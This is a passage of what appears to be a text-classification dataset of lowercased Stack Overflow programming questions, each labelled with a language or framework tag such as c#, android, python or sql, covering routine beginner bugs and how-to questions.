cin&gt;&gt;scount; for(i=0;i&lt;scount;i++){     cout&lt;&lt; enter student details &lt;&lt;endl;     cin&gt;&gt;name;     cout&lt;&lt; enter student marks &lt;&lt;endl;     cin&gt;&gt;marks;     sname.push_back(name);     smarks.push_back(marks); } cout&lt;&lt; the size of name vector is  &lt;&lt;sname.size()&lt;&lt;endl; cout&lt;&lt; the size of marks vector is  &lt;&lt;smarks.size()&lt;&lt;endl; stud.sdetails();  return 0; } </code></pre>   please help me out,c++
why is my function returning an integer although i have specified the answer as a float   i am quite perplexed by how my answer is not giving me a float for this simple function:   <pre><code>#include &lt;iostream&gt; using namespace std;   int average(int a[]  int num){     float avg = 0;     for (int i = 0; i&lt;num; i++){         avg += a[i];     }     avg = avg / num;     cout&lt;&lt;avg&lt;&lt;endl; //gives 1.5     return avg; }  int main(){     int a[] = {1 2};      float result = average(a  2);     cout&lt;&lt;result&lt;&lt;endl; //gives 1     return 0; } </code></pre>   as can be seen in the comments  why would the output of the function be 1 when the final computed value is 1.5  i have also specified the answers to be returned in float form  so i don t really know why it still gives me an int.,c++
invalid identifier with nsrect frame = [self frame]  i m currently trying to figure out how to alter frames from a webcam for a motion detection game. i am very new to objective-c  and i have been unable to find a simple way to do this.    my question here is about an error message related to this method:   <pre><code>- (void)captureoutput:(qtcaptureoutput *)captureoutput    didoutputvideoframe:(cvimagebufferref)videoframe      withsamplebuffer:(qtsamplebuffer *)samplebuffer         fromconnection:(qtcaptureconnection *)connection {       cicontext *mycicontext;     const nsopenglpixelformatattribute attr[] = {         nsopenglpfaaccelerated          nsopenglpfanorecovery          nsopenglpfacolorsize  32          0     };     nsopenglpixelformat *pf = [[nsopenglpixelformat alloc] initwithattributes:(void *)&amp;attr];     mycicontext = [cicontext contextwithcglcontext: cglgetcurrentcontext()                                        pixelformat: [pf cglpixelformatobj]                                            options: nil];     cvimagebufferref releasedimagebuffer;     cvbufferretain(videoframe);      ciimage *picture = [ciimage imagewithcvimagebuffer:releasedimagebuffer];     nsrect frame = [self frame];     cgrect imagerect;     imagerect = [picture extent];      [colorcorrectionfilter setvalue:picture forkey:@ inputimage ];     [effectfilter setvalue:[colorcorrectionfilter valueforkey:@ outputimage ] forkey:@ inputimage ];      // render our resulting image into our context     [cicontext drawimage:[compositefilter valueforkey:@ outputimage ]                   atpoint:cgpointmake((int)((frame.size.width - imagerect.size.width) * 0.5)  (int)((frame.size.height - imagerect.size.height) * 0.5)) // use integer coordinates to avoid interpolation                 fromrect:imagerect];      @synchronized(self)     {         //basically  have frame to be released refer to the current frame         //then update the reference to the current frame with the next frame in the  video stream          releasedimagebuffer = mcurrentimagebuffer;         mcurrentimagebuffer = videoframe;     }      cvbufferrelease(releasedimagebuffer);  } </code></pre>   the error message produced says:   <pre><code>warning:  myrecordercontroller  may not respond to  -frame  error: invalid initializer </code></pre>   and the line highlighted is   <pre><code>nsrect frame = [self frame]; </code></pre>   my header is currently like so:   <pre><code>#import &lt;quicktime/imagecompression.h&gt; #import &lt;quicktime/quicktime.h&gt; #import &lt;cocoa/cocoa.h&gt; #import &lt;qtkit/qtkit.h&gt; #import &lt;opengl/opengl.h&gt; #import &lt;quartzcore/quartzcore.h&gt; #import &lt;corevideo/corevideo.h&gt;   @interface myrecordercontroller : nsobject{      iboutlet qtcaptureview *mcaptureview;      iboutlet nspopupbutton *videodevicepopup;     nsmutabledictionary *namestodevicesdictionary;     nsstring *defaultdevicemenutitle;      cvimagebufferref mcurrentimagebuffer;     qtcapturedecompressedvideooutput *mcapturedecompressedvideooutput;      // filters for ci rendering     cifilter            *colorcorrectionfilter; // hue saturation brightness control through one ci filter     cifilter            *effectfilter;          // zoom blur filter     cifilter            *compositefilter;       // composites the timecode over the video     cicontext           *cicontext;      qtcapturesession *mcapturesession;     qtcapturemoviefileoutput *mcapturemoviefileoutput;     qtcapturedeviceinput *mcapturedeviceinput;  }  @end </code></pre>   i have looked at tutorial code  and i do not understand what i have done wrong. as far as i can see (judging by said various sample code) i should not need to include a protocol in this - which is what other websites have suggested. i have tried it though  and while it does compile it ends up outputting:   <pre><code>2011-01-18 10:19:11.511 myrecorder[9972:c903] -[myrecordercontroller frame]: unrecognized selector sent to instance 0x1001525f0 2011-01-18 10:19:11.512 myrecorder[9972:c903] *** ignoring exception: -[myrecordercontroller frame]: unrecognized selector sent to instance 0x1001525f0 </code></pre>   is there anything i have done wrong which has caused this  if not  is there a better way to be able to manipulate frames from a webcam (and output them to the screen)     thanks heaps!,objective-c
should i read k&r just after a college course in c   i just finished a college course in c. the book used was kochan s. i am tempted to now tackle k&amp;r to deepen my understanding of the language. theoretically i should already know all the material in it  but i still feel like i would benefit from going through it including doing the exercises.     any thoughts or feedback     thanks.,c
how to exipre password after exiprydate in asp.net  in my asp.net application how can i exipre the password after exiprydate and ask the user to change the password...can u please me,asp.net
what is the purpose of backgroundworker in c#   i am kind of new to c# and i am required to create a client server chat. our professor gave us the following as a small hint to get us going. but i do not understand what the backgroundworker does.   <pre><code>private void backgroundworker1_dowork(object sender  doworkeventargs e) // receive data {     while (client.connected)     {         try         {             receive = streamreader.readline();             this.textbox2.invoke(new methodinvoker(delegate() { textbox2.appendtext( you :   + receive +  \n ); }));             receive =   ;         }         catch (exception x)         {             messagebox.show(x.message.tostring());         }     } }  private void backgroundworker2_dowork(object sender  doworkeventargs e) // send data {     if (client.connected)     {         streamwriter.writeline(text_to_send);         this.textbox2.invoke(new methodinvoker(delegate() { textbox2.appendtext( me :   + text_to_send +  \n ); }));     }     else     {         messagebox.show( send failed! );     }     backgroundworker2.cancelasync(); } </code></pre>,c#
creating progress bar  i have created one android program.now i want a screen with my application name and a progress bar with loading symbol launch first.the progress bar should wait for 3 seconds and then my program must load.how can i implement this,android
display control only if not viewing remotely  is there a way to show a control on a page only if the page was requested over the local network,asp.net
rename method in class body  is it possible to rename method in python  something like this    <pre><code>class validation(unittest.testcase):      def __init__(self  methodname= runtest ):         super(validation  self).__init__(methodname)         #doesn t work         setattr(self  do_folders_equal   test_do_folders_equal ) </code></pre>   rename method  do_folders_equal  to  test_do_folders_equal ..  usage above   obviously  is incorrect...how to do this hack,python
trying to make json and pass it as body in rest call in python <pre><code>{  contact_entry : [                     { luid : 1                        first_name : vuvrpm                        last_name : basjrkkjst                        phone_numbers :[ 919000000000 ]                       emails :[ yahoo@bingo.com ]                     }                 ] </code></pre>   }    trying to make json out of following and pass it as body in rest call     first_name is generated randomly and stored in strfirstname.    i tried this    <pre><code>jsonstr = jsonstr+  { +   luid   + :  +  1   +     + first_name  +  :  +     firstname     +     +   last_name   +  :  +   basjrkkjst   +     +   phone_numbers   +  :  +  [  +   str(xx_msisdn)   +  ]   +   emails   +  :  +  [  +   yahoo@bingo.com   + ]} ; </code></pre>   output is:   <pre><code>{  contact_entry : [{ luid : 1  first_name:kxggqo  last_name : basjrkkjst   phone_numbers :[ str(xx_msisdn) ]  emails :[ yahoo@bingo.com ]} </code></pre>   can somebody help me,python
nested gridview showing in the same row   i have created nested gridview referred from (<a href= https://www.aspsnippets.com/articles/collapsible-nested-gridview-with-paging-using-aspnet.aspx  rel= nofollow noreferrer >https://www.aspsnippets.com/articles/collapsible-nested-gridview-with-paging-using-aspnet.aspx</a>)  data showing in child gridview not in the next row and view is differs from the example.    please help me out from this issue.    code has mentioned below.    --// aspx   <pre><code>&lt;div id= dvmain  class= dvmain &gt;     &lt;asp:updatepanel id= mainupdatepanel  runat= server &gt;         &lt;contenttemplate&gt;             &lt;div id= dvbottom  class= dvbottom &gt;                 &lt;asp:gridview id= gvdashboardtestscores  runat= server  cssclass= gvdashboardtestscores                    showheader= true  alternatingrowstyle-cssclass= gvdashboardtestscoresaltrow  rowstyle-cssclass= gvdashboardtestscoresrow  showfooter= true                    enableviewstate= true  gridlines= none  emptydatatext= no records found  autogeneratecolumns= false  captionalign= left                    cellpadding= 0  cellspacing= 0  showheaderwhenempty= true  pagesize= 14  onrowcommand= gvdashboardtestscores_rowcommand                    onrowdatabound= gvdashboardtestscores_rowdatabound  onrowcreated= gvdashboardtestscores_rowcreated &gt;                      &lt;columns&gt;                         &lt;asp:templatefield itemstyle-cssclass= gvdashboardtestscorestd1  headerstyle-cssclass= gvdashboardsubheadertd1  headertext= s.no. &gt;                             &lt;itemtemplate&gt;                                 &lt;asp:textbox id= gvdashboardtestscores_sno  runat= server  text= &lt;%# eval( sno ) %&gt;  readonly= true  cssclass= gvtbxdashboardtestscores &gt;&lt;/asp:textbox&gt;                             &lt;/itemtemplate&gt;                         &lt;/asp:templatefield&gt;                         &lt;asp:templatefield itemstyle-cssclass= gvdashboardtestscorestd2  headerstyle-cssclass= gvdashboardsubheadertd2  headertext= edit &gt;                             &lt;itemtemplate&gt;                                 &lt;asp:imagebutton id= gvimgbtndashboardtestscoresedit  runat= server  value=   imageurl= ~/images/main/edit_black.png                                  commandname= gvimgbtndashboardedit  commandargument= &lt;%# ((gridviewrow) container).rowindex %&gt;                                  cssclass= imgbtngvdashboardtestscoreedit  tooltip= edit view  /&gt;                             &lt;/itemtemplate&gt;                         &lt;/asp:templatefield&gt;                         &lt;asp:templatefield itemstyle-cssclass= gvdashboardtestscorestd3  headerstyle-cssclass= gvdashboardsubheadertd3  headertext= name &gt;                             &lt;itemtemplate&gt;                                 &lt;!--[[ img button to view child gridview ]]--&gt;                                 &lt;div id= dvgvimgcollapsiblehistory  class= dvgvimgcollapsiblehistory &gt;                                     &lt;asp:imagebutton id= imgbtncollapsiblehistory  imageurl= ~/images/main/plus.png  runat= server                                      cssclass= imgcollapsiblehistory  onclick= imgbtncollapsiblehistory                                      commandargument= showpreviousrmshistory  /&gt;                                 &lt;/div&gt;                                 &lt;!--[[ img button to view child gridview close ]]--&gt;                                 &amp;nbsp;                                 &lt;!--[[ link button ]]--&gt;                                 &lt;div id= dvgvlnkbtnviewinfo  class= dvgvlnkbtnviewinfo &gt;                                     &lt;asp:linkbutton id= gvhyprlnkdashboardtestscores_name  runat= server   text= &lt;%# eval( name ) %&gt;                                      cssclass= gvhyplnkenable  style= text-align:center;  commandname= gvhyprlnkdashboardtestscoresviewinfo                                      commandargument= &lt;%# ((gridviewrow) container).rowindex %&gt;  tooltip= view test details &gt;                                     &lt;/asp:linkbutton&gt;                                 &lt;/div&gt;                                 &lt;!--[[ link button ]]--&gt;                                 &lt;!--[[ nested gridview panel ]]--&gt;                                 &lt;asp:updatepanel id= updpnlchildgridview  runat= server  updatemode= conditional &gt;                                     &lt;contenttemplate&gt;                                         &lt;asp:panel id= pnlhistory  runat= server  visible= false  style= position: relative; &gt;                                             &lt;asp:gridview id= gvhistory  runat= server  enableviewstate= true  gridlines= none                                              emptydatatext= no records found  autogeneratecolumns= false  captionalign= left &gt;                                                 &lt;columns&gt;                                                     &lt;asp:boundfield itemstyle-width= 100px  datafield= orderid  headertext= order id  /&gt;                                                     &lt;asp:boundfield itemstyle-width= 100px  datafield= orderamount  headertext= amount  /&gt;                                                 &lt;/columns&gt;                                             &lt;/asp:gridview&gt;                                         &lt;/asp:panel&gt;                                     &lt;/contenttemplate&gt;                                 &lt;/asp:updatepanel&gt;                                 &lt;!--[[ nested gridview panel ]]--&gt;                             &lt;/itemtemplate&gt;                         &lt;/asp:templatefield&gt;                      &lt;/columns&gt;                 &lt;/asp:gridview&gt;                                &lt;/div&gt;         &lt;/contenttemplate&gt;     &lt;/asp:updatepanel&gt; &lt;/div&gt; </code></pre>   --//cs   <pre><code>protected void imgbtncollapsiblehistory(object sender  imageclickeventargs e)  {       datatable dthistory = new datatable();       imagebutton imgbtnhistory = (sender as imagebutton);      gridviewrow row = (imgbtnhistory.namingcontainer as gridviewrow);       try      {           updatepanel updpnlchildgridview = (updatepanel)row.findcontrol( updpnlchildgridview );           if (imgbtnhistory.commandargument ==  showpreviousrmshistory )          {              gridview gvhistory = (gridview)row.findcontrol( gvhistory );               //data column              dthistory.columns.add(new datacolumn( orderid   typeof(string)));              dthistory.columns.add(new datacolumn( orderamount   typeof(string)));               datarow dtrow;              dtrow = dthistory.newrow();              dtrow[0]= a1 ;              dtrow[1] =  15000 ;              dtrow[2] =  b2 ;              dtrow[3] =  1000 ;              dthistory.rows.add(dtrow);               //bind data                     gvhistory.datasource = dthistory;              gvhistory.databind();               row.findcontrol( pnlhistory ).visible = true;              imgbtnhistory.commandargument =  hidepreviousrmshistory ;              imgbtnhistory.imageurl =  ~/images/main/minus.png ;          }          else          {              row.findcontrol( pnlhistory ).visible = false;              imgbtnhistory.commandargument =  showpreviousrmshistory ;              imgbtnhistory.imageurl =  ~/images/main/plus.png ;          }       }      catch(exception ex)      {       } } </code></pre>   --// javascript   <pre><code>&lt;script type= text/javascript &gt;       function pageload(sender  args) {             $(document).ready(function () {                 //nested grid expand                 $( [src*=minus] ).each(function () {                     $(this).closest( tr ).after( &lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td colspan= 999  style= background-color:#124d77; &gt;  + $(this).next().html() +  &lt;/td&gt;&lt;/tr&gt; );                     $(this).next().remove();                            }         }); &lt;/script&gt; </code></pre>   output shows:- <a href= https://i.stack.imgur.com/s2t0c.jpg  rel= nofollow noreferrer >nested gridview output</a> childgridview it should show in the expanded  row [please see the arrow].,asp.net
.net or c# library for cgm (computer graphics metafile) format   does any one knows a .net c# library for displaying cgm files in winforms and microsoft service reports/crystalreports so that it is printable as well     it would also be extremely helpful if it is also be able to convert the file to a web-frendly graphics format like jpeg  gif  png etc..    this is likely a repeated question from <a href= https://stackoverflow.com/questions/4205596/net-library-for-cgm-file-conversion >.net library for cgm file conversion</a> but that op did not mark an answer nor were the suggested solutions .net compatible.    so i am just trying my luck again. thanks for helping.,.net
calleventhandler not invoked in objective c  i have to get call status on the end of the call but my event is not invoked following like line always return false    [callcenter setcalleventhandler: ^(ctcall* call)    here is my code   <pre><code>ctcallcenter *callcenter = [[ctcallcenter alloc] init]; callcenter.calleventhandler=^(ctcall* call) {      if(call.callstate == ctcallstatedialing)     {         //the call state  before connection is established  when the user initiates the call.         nslog(@ call is dailing );     }     if(call.callstate == ctcallstateincoming)     {         //the call state  before connection is established  when a call is incoming but not yet answered by the user.         nslog(@ call is coming );     }      if(call.callstate == ctcallstateconnected)     {         //the call state when the call is fully established for all parties involved.         nslog(@ call connected );     }         if(call.callstate == ctcallstatedisconnected)     {         //the call state ended.         nslog(@ call ended );     }  }; </code></pre>   any help will be greatly appriciated,iphone
advanced c memory allocation  so  i continue to learn about c. and i have some interesting question. if i am not mistaken to put stuff on heap  i must use <code>malloc</code> etc.. but what about <code>char * str</code>   in what memory segment will be <code>str</code> located   i read that it will be put on .bss segment.(that is why you can t change string in c).  is this correct  or will it be put on stack     and if yes  why there is no need to free this memory when program ends  also in what memory segment code of each function sits  in other words to what segment the pointer to function will point  thanks for the help! just trying to better understand memory management in c.,c
"toggle class should not clicked again  if a button has active class then it should not toggle if i click on it again. here i have two buttons <strong> grid view </strong> and <strong> list view </strong> i want when <strong> grid view </strong> is active and still i click on it this should not toggle active class.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>$( .switch-btn ).click(function(e){
   $( .switch-btn.grid  .switch-btn.list ).toggleclass( active );
 });</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>button.switch-btn {
     border: none;
     outline: none;
     padding: 10px 20px;
     cursor: pointer;
 }
 button.switch-btn.active {
     background: green;
     color: #ffffff;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;button class= switch-btn grid active &gt;grid view&lt;/button&gt;
 &lt;button class= switch-btn list &gt;list view&lt;/button&gt;</code></pre>
 </div>
 </div>",jquery
sql find a value from a column  i have an easy question  imagine i have in a sql table a column a with values    <pre><code>    a  20.30.40 20.40 10.30 </code></pre>   and so on.    i want to find all rows with just value 30   how can i do that with a sql query   its a string data column. please some help guys ..,sql
different kind of asp.net meta:resourcekey expression  i seem to remember when asp.net 2.0 was released that meta:resourcekey was a new type of expression and that you could potentially build your own  handler  like mymeta:customerlabel= labelx     is that possible  what is that feature called,asp.net
how to get sim roaming status in ios  in one of my app i would like to know sim card roaming status. android network info provide is roaming() function for it but i didn t find any way in ios. i am looking for the proper solution because i don t want to get reject my app by apple due to any reason. thanks in advance.,ios
show stateprovider template with ng-view  how can i include the view in <code>&lt;ng view&gt;&lt;/ng-view&gt;</code>  i will have multiple template  so i cant just include one using <code>ng-include src=  </code> it shows content only in different link  but not using <code>ng-view</code>   <pre><code> &lt;ul class= nav &gt;         &lt;li&gt;&lt;a href= #/inventory/list &gt;list view&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt; &lt;ng-view&gt;&lt;/ng-view&gt;  </code></pre>   my stateprovider   <pre><code>app.config(function config( $stateprovider) {   $stateprovider.state( inventory  {     url: /inventory           views: {              main : {                 controller:  inventoryctrl                   templateurl:  inventory/main.tpl.html              }         }          data:{ pagetitle:  inventory  }   }   ).state( add  {     url: /inventory/list           views: {              main : {                 controller:  inventoryctrl                   templateurl:  inventory/list.tpl.html              }         }          data:{ pagetitle:  list field  }   }); }); </code></pre>,angularjs
in eclipse images are not clickable   ive made a pretty simple wallpaper app and have used the same code before. i get no errors but for some reason my images are not clickable  am i missing something could someone help... here is the code so far    <pre><code>import java.io.ioexception; import java.io.inputstream;  import android.app.activity; import android.graphics.bitmap; import android.graphics.bitmapfactory; import android.os.bundle; import android.view.view; import android.view.view.onclicklistener; import android.widget.button; import android.widget.imageview;   public class nflwallpapers extends activity implements view.onclicklistener{  imageview display; int tophone; @override protected void oncreate(bundle savedinstancestate) {     // todo auto-generated method stub     super.oncreate(savedinstancestate);     setcontentview(r.layout.main);     tophone = r.drawable.azcard1;      display = (imageview)findviewbyid(r.id.ivdisplay);     imageview image1 = (imageview) findviewbyid(r.id.ivimage1);     imageview image2 = (imageview) findviewbyid(r.id.ivimage2);     imageview image3 = (imageview) findviewbyid(r.id.ivimage3);     imageview image4 = (imageview) findviewbyid(r.id.ivimage4);     imageview image5 = (imageview) findviewbyid(r.id.ivimage5);     imageview image6 = (imageview) findviewbyid(r.id.ivimage6);     button setwall = (button)findviewbyid(r.id.setwallpaper);     image1.setonclicklistener(this);     image2.setonclicklistener(this);     image3.setonclicklistener(this);     image4.setonclicklistener(this);     image5.setonclicklistener(this);     image6.setonclicklistener(this);     setwall.setonclicklistener(this); }  public void onclick(view v) {     // todo auto-generated method stub      switch (v.getid()){     case r.id.ivimage1:         display.setimageresource(r.drawable.azcard1);         tophone =r.drawable.azcard1;         break;     case r.id.ivimage2:         display.setimageresource(r.drawable.azcard2);         tophone =r.drawable.azcard2;         break;     case r.id.ivimage3:         display.setimageresource(r.drawable.azcard3);         tophone =r.drawable.azcard3;         break;     case r.id.ivimage4:         display.setimageresource(r.drawable.azcard4);         tophone =r.drawable.azcard4;         break;     case r.id.ivimage5:         display.setimageresource(r.drawable.azcard5);         tophone =r.drawable.azcard5;         break;     case r.id.ivimage6:         display.setimageresource(r.drawable.azcard6);         tophone =r.drawable.azcard6;         break;     case r.id.setwallpaper:         inputstream yes = getresources().openrawresource(tophone);         bitmap whatever = bitmapfactory.decodestream(yes);         try{             getapplicationcontext().setwallpaper(whatever);         }catch(ioexception e){             e.printstacktrace();         }         break;      }  }    }; </code></pre>,android
how to remove the next element after removal of parent in jquery  i have simplified my problem to the following markup:     <pre><code>&lt;div id= a &gt;    &lt;div id= b &gt;&lt;/div&gt;    &lt;div id= c &gt;&lt;/div&gt; &lt;/div&gt; &lt;br&gt; </code></pre>   and jquery js as in:   <pre><code>$( #b ).click(function() {      $(this).parent().remove();  } </code></pre>   it removes a and thats what i want. but i also want to remove the br tag that immediately follows the parent. i tried various combinations of parent()  first()  next() of parent()  parent().parent()  etc... no luck.,jquery
c# how to make class variable reference another value within the class  i have the following simplified class:   <pre><code>public class foo {      public datetime dateofbirth {get; set;}      public age age {get; set;} } </code></pre>   and <code>age</code> is as follows:   <pre><code>public class age {      public datetime dateofbirth {get; set;}          //..calculate age here } </code></pre>   now  i want <code>foo.age.dateofbirth</code> to equal <code>foo.dateofbirth</code> automatically eg when a user does the following:   <pre><code>var foo foo = new foo(); foo.dateofbirth = //..whatever </code></pre>   note  this cannot be in the constructor  as the user may not set the dob in the constructor  and this would also not cover the situation where the dob changes.    it needs to be a direct reference to the <code>dateofbirth</code> variable.    cant his be done,c#
"error at my logo beside the text  i m currently learning basic html. what s wrong with my code  why the logo is appearing on the right side of the text but i already assigned it on the left side.    <div class= snippet  data-lang= js  data-hide= false  data-console= false  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;html&gt;
 
 &lt;title&gt;registration form&lt;/title&gt;
 
 &lt;center&gt;
     &lt;h3&gt;
         &lt;font color= 336699 &gt;
             asia pacific college
             &lt;img src= asia_pacific_college_logo.png  style= width:32px;height:32px;  vertical- align= left &gt;
         &lt;/font&gt;
     &lt;h3&gt;
     &lt;h4&gt;
         &lt;font color= 336699 &gt;office of the registrar&lt;/font&gt;
     &lt;h4&gt;
 &lt;/center&gt;</code></pre>
 </div>
 </div>
     which results in:    <img src= https://i.imgur.com/uark2uq.png  alt=  >",html
striped table using with or without bootstrap  how can i implement striped datarows in my table    <pre><code>.datatable tbody tr.odd{background-color:#000000} .datatable tbody tr.even{background-color:#ffffff} </code></pre>   that code doesnt work for me. and if i use materialize the blade simply ruined.    masters please help.   <blockquote>    blockquote       @if($cat!=null)                                        audit procedure                              work done                         @else  </blockquote>  <pre><code>@endif @if($cat!=null)     @foreach($dataarray as $val)     &lt;tr class= datatable &gt;         &lt;td class= compliancetd &gt;{{$val[0]}}&lt;/td&gt;         &lt;td class= compliancetd_2 &gt;{{$val[1]}}&lt;/td&gt;         &lt;td class= compliancetd_3 &gt;{{$val[2]}}&lt;/td&gt;     &lt;/tr&gt;     @endforeach @else     @foreach($dataarray as $val)     &lt;tr&gt;         &lt;td class= compliancetd2 &gt;&lt;div class= textcontent &gt;{{$val[0]}}&lt;/div&gt;&lt;/td&gt;     &lt;/tr&gt;     @endforeach @endif </code></pre>,css
sql select using 3 tables  3 tables: <code>tasks</code>  <code>projects</code>  <code>statuschanges</code>    the following query works fine:   <pre><code>select      p.projecttypename  p.projectname      t.country  t.taskid      sc.username  sc.comment  sc.fromstatus       sc.status as tostatus  sc.status as nextstatus  from      iris_rprod_cpp_r2.tasks t      iris_rprod_cpp_r2.projects p      iris_rprod_cpp_r2.statuschanges sc  where      sc.incorrectlyrouted=  true     order by      statuschangeid </code></pre>   but i want same information with count of t.taskid like:   <pre><code>select      p.projecttypename  p.projectname      t.country  count(t.taskid)      sc.username  sc.comment       sc.fromstatus  sc.status as tostatus  sc.status as nextstatus  from      iris_rprod_cpp_r2.tasks t      iris_rprod_cpp_r2.projects p      iris_rprod_cpp_r2.statuschanges sc  where      sc.incorrectlyrouted=  true     order by      statuschangeid </code></pre>   how can i get this,sql
python - typeerror: unorderable types: str() < int()  i get this error when i try to run my code. please help  and explain what it s trying to say!    this program is meant to find a persons ballot paper vote preferences (1st  2nd  3rd etc) for each candidate  and remove their first preference. that first preference is replaced by <code>99999</code>  to make it easier for me.    error:   <pre><code>error code: minindex = int(vote.index(min(vote))) typeerror: unorderable types: str() &lt; int() </code></pre>   code:   <pre><code>def countvotes(votelist): candidatepreferences = []  for vote in votelist:     minindex = int(vote.index(min(vote)))     candidatepreferences.append(minindex)     vote[minindex] = 99999 return candidatepreferences </code></pre>   value of <code>vlist</code> (after calling countvotes function first time):   <pre><code>[[99999   3    4    5    2 ]  [ 4    2    5    3   99999]  [99999   3    2    5    4 ]  [99999   2    4    3    5 ]  [99999   3    4    5    2 ]  [ 2   99999   3    5    4 ]  [99999   3    4    5    2 ]  [ 3    5    2    4   99999]  [99999   4    5    2    3 ]  [ 5   99999   4    3    2 ]  [ 3    2    5    4   99999]  [ 3   99999   2    5    4 ]  [ 2    5   99999   4    3 ]  [ 3    2   99999   4    5 ]  [ 4    5    3   99999   2 ]  [99999   5    4    3    2 ]  [99999   5    3    4    2 ]  [ 2   99999   4    3    5 ]  [ 4   99999   2    5    3 ]] </code></pre>   calling the function (second time):   <pre><code>cp = countvotes(vlist)  minindex = int(vote.index(min(vote))) typeerror: unorderable types: str() &lt; int() </code></pre>,python
trying to check a text box fails  i m trying to make a check for a text box written in html  but it keeps throwing exceptions :    <pre><code>public partial class first : system.web.ui.page {     protected void page_load(object sender  eventargs e)     {         string username =   ;         username = request.querystring[ usernamebox ];         int i;         for (i = 0; i &lt; 10; i++)         {             if (username[i] &lt;  a  &amp;&amp; username[i] &gt;  z  &amp;&amp; username[i] &lt;  a  &amp;&amp; username[i] &gt;  z )             {                 response.write( no );                 break;             }             else                 response.redirect( second.aspx );         }     } } </code></pre>   the errors :    <blockquote>    object reference not set to an instance of an object.        description: an unhandled exception occurred during the execution of the current web request. please review the stack trace for more information about the error and where it originated in the code.         exception details: system.nullreferenceexception: object reference not set to an instance of an object.        source error:         line 15:         for (i = 0; i &lt; 10; i++)        line 16:         {        line 17:             <strong>if (username[i] &lt;  a  &amp;&amp; username[i] >  z  &amp;&amp; username[i] &lt;  a  &amp;&amp; username[i] >  z )</strong>        line 18:             {        line 19:                 response.write( no );        source file: c:\users\user\desktop\se assignment\first.aspx.cs    line: 17   </blockquote>,c#
trying to add setonclicklistener in button but it is giving error  cannot resolve symbol  setonclicklistener    i m trying to learn android programming using the new android studio.trying to set setonclicklistener method in button but it is giving error... cannot resolve symbol setonclicklistener      thank in advance for your helps.   <hr>   trying to add image of my code but i do not have 10 reputation  so i had put it on onedrive..below is the link can any one helps here to add image in my question..    <a href= https://onedrive.live.com/ cid=8103b2fa442b96e9&amp;id=8103b2fa442b96e9%21162&amp;v=3  rel= nofollow >https://onedrive.live.com/ cid=8103b2fa442b96e9&amp;id=8103b2fa442b96e9%21162&amp;v=3</a>,android
android.view.windowmanager$badtokenexception: unable to add window — token null is not for an application  in my android app i am using alarm manager in mainactivity. what i am doing is at a particular time i need to show a diologue box showing whether to login or not.    alarmreceiver2.java   <pre><code>public class alarmreceiver2 extends broadcastreceiver {       @override      public void onreceive(final context arg0  intent arg1) {           toast.maketext(arg0   alarm received!   toast.length_long).show();              databasehandler1 db = new databasehandler1(arg0 );              int count = db.getrowcount();             if(count == 0){                  alertdialog.builder adb=new alertdialog.builder(arg0);                 adb.settitle( tno );                 adb.setmessage( login   );                 adb.setnegativebutton( cancel   null);                      adb.setpositivebutton( ok   new alertdialog.onclicklistener() {                         @override                         public void onclick(dialoginterface dialog  int which) {                              intent i = new intent();                         i.setclassname( com.androidhive.pushnotifications    com.androidhive.pushnotifications.loginactivity );                          i.setflags(intent.flag_activity_new_task);                         arg0.startactivity(i);                               }});                     adb.show();              }        }  } </code></pre>   the alarm is receiving at correct time but application crashes by showing the error in logcat as   <pre><code>03-31 14:29:36.899: e/androidruntime(1262): fatal exception: main 03-31 14:29:36.899: e/androidruntime(1262): java.lang.runtimeexception: unable to start receiver com.androidhive.pushnotifications.alarmreceiver2: android.view.windowmanager$badtokenexception: unable to add window -- token null is not for an application 03-31 14:29:36.899: e/androidruntime(1262):     at android.app.activitythread.handlereceiver(activitythread.java:2431) 03-31 14:29:36.899: e/androidruntime(1262):     at android.app.activitythread.access$1500(activitythread.java:141) 03-31 14:29:36.899: e/androidruntime(1262):     at android.app.activitythread$h.handlemessage(activitythread.java:1332) 03-31 14:29:36.899: e/androidruntime(1262):     at android.os.handler.dispatchmessage(handler.java:99) 03-31 14:29:36.899: e/androidruntime(1262):     at android.os.looper.loop(looper.java:137) 03-31 14:29:36.899: e/androidruntime(1262):     at android.app.activitythread.main(activitythread.java:5103) 03-31 14:29:36.899: e/androidruntime(1262):     at java.lang.reflect.method.invokenative(native method) 03-31 14:29:36.899: e/androidruntime(1262):     at java.lang.reflect.method.invoke(method.java:525) 03-31 14:29:36.899: e/androidruntime(1262):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:737) 03-31 14:29:36.899: e/androidruntime(1262):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:553) 03-31 14:29:36.899: e/androidruntime(1262):     at dalvik.system.nativestart.main(native method) 03-31 14:29:36.899: e/androidruntime(1262): caused by: android.view.windowmanager$badtokenexception: unable to add window -- token null is not for an application 03-31 14:29:36.899: e/androidruntime(1262):     at android.view.viewrootimpl.setview(viewrootimpl.java:563) 03-31 14:29:36.899: e/androidruntime(1262):     at android.view.windowmanagerglobal.addview(windowmanagerglobal.java:269) 03-31 14:29:36.899: e/androidruntime(1262):     at android.view.windowmanagerimpl.addview(windowmanagerimpl.java:69) 03-31 14:29:36.899: e/androidruntime(1262):     at android.app.dialog.show(dialog.java:281) 03-31 14:29:36.899: e/androidruntime(1262):     at android.app.alertdialog$builder.show(alertdialog.java:951) 03-31 14:29:36.899: e/androidruntime(1262):     at com.androidhive.pushnotifications.alarmreceiver2.onreceive(alarmreceiver2.java:44) 03-31 14:29:36.899: e/androidruntime(1262):     at android.app.activitythread.handlereceiver(activitythread.java:2424) 03-31 14:29:36.899: e/androidruntime(1262):     ... 10 more </code></pre>,android
trying to do some task with user highlighted text  how do i get what the user has highlighted   hello again stack overflow community. i want to have the user highlight some text on any webpage he or she is at. then  i want to use a function dosomething() on just the text that the user has highlighted. is there any convenient way of doing this  i have been looking all over for information on this  but with no luck.,javascript
